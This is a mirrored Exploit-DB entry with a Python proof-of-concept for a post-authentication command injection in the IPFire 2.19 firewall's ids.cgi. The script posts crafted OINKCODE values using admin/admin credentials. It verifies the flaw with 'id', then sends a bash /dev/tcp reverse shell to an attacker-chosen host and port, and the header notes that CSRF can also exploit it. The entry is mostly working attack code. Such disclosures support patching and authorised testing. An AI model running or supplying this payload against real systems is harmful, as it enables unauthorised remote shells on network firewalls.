IPFire 2.19 – Remote Code Execution - 体验盒子

作者： 0x09AL

日期： 2017-06-09

类别：

webapps

平台：

linux

来源：https://www.exploit-db.com/exploits/42149/

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#

# Title :IPFire 2.19 Firewall Post-Auth RCE

# Date : 09/06/2017

# Author : 0x09AL (https://twitter.com/0x09AL)

# Tested on: IPFire 2.19 (x86_64) - Core Update 110

# Vendor : http://www.ipfire.org/

# Software : http://downloads.ipfire.org/releases/ipfire-2.x/2.19-core110/ipfire-2.19.x86_64-full-core110.iso

# Vulnerability Description:

# The file ids.cgi doesn't sanitize the OINKCODE parameter and gets passed to a system call which call wget.

# You need valid credentials to exploit this vulnerability or you can exploit it through CSRF.

#

import requests

# Adjust the ip and ports.

revhost = '192.168.56.1'

revport = 1337

url = 'https://192.168.56.102:444/cgi-bin/ids.cgi'

username = 'admin'

password = 'admin'

payload = 'bash -i >& /dev/tcp/' + revhost + '/' + str(revport) + ' 0>&1'

evildata = {'ENABLE_SNORT_GREEN':'on','ENABLE_SNORT':'on','RULES':'registered','OINKCODE': '<code>id</code>','ACTION': 'Download new ruleset','ACTION2':'snort'}

headers = {'Accept-Encoding' : 'gzip, deflate, br','Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8','User-Agent':'IPFIRE Exploit','Referer': url,'Upgrade-Insecure-Requests':'1'}

def verifyVuln():

req = requests.post(url,data=evildata,headers=headers,auth=(username,password),verify=False) # Verify false is added because most of the time the certificate is self signed.

if(req.status_code == 200 and "uid=99(nobody)" in req.text):

print "[+] IPFire Installation is Vulnerable [+]"

revShell()

else:

print "[+] Not Vulnerable [+]"

def revShell():

evildata["OINKCODE"] = '<code>' + payload + '</code>'

print "[+] Sending Malicious Payload [+]"

req = requests.post(url,data=evildata,headers=headers,auth=(username,password),verify=False)

verifyVuln()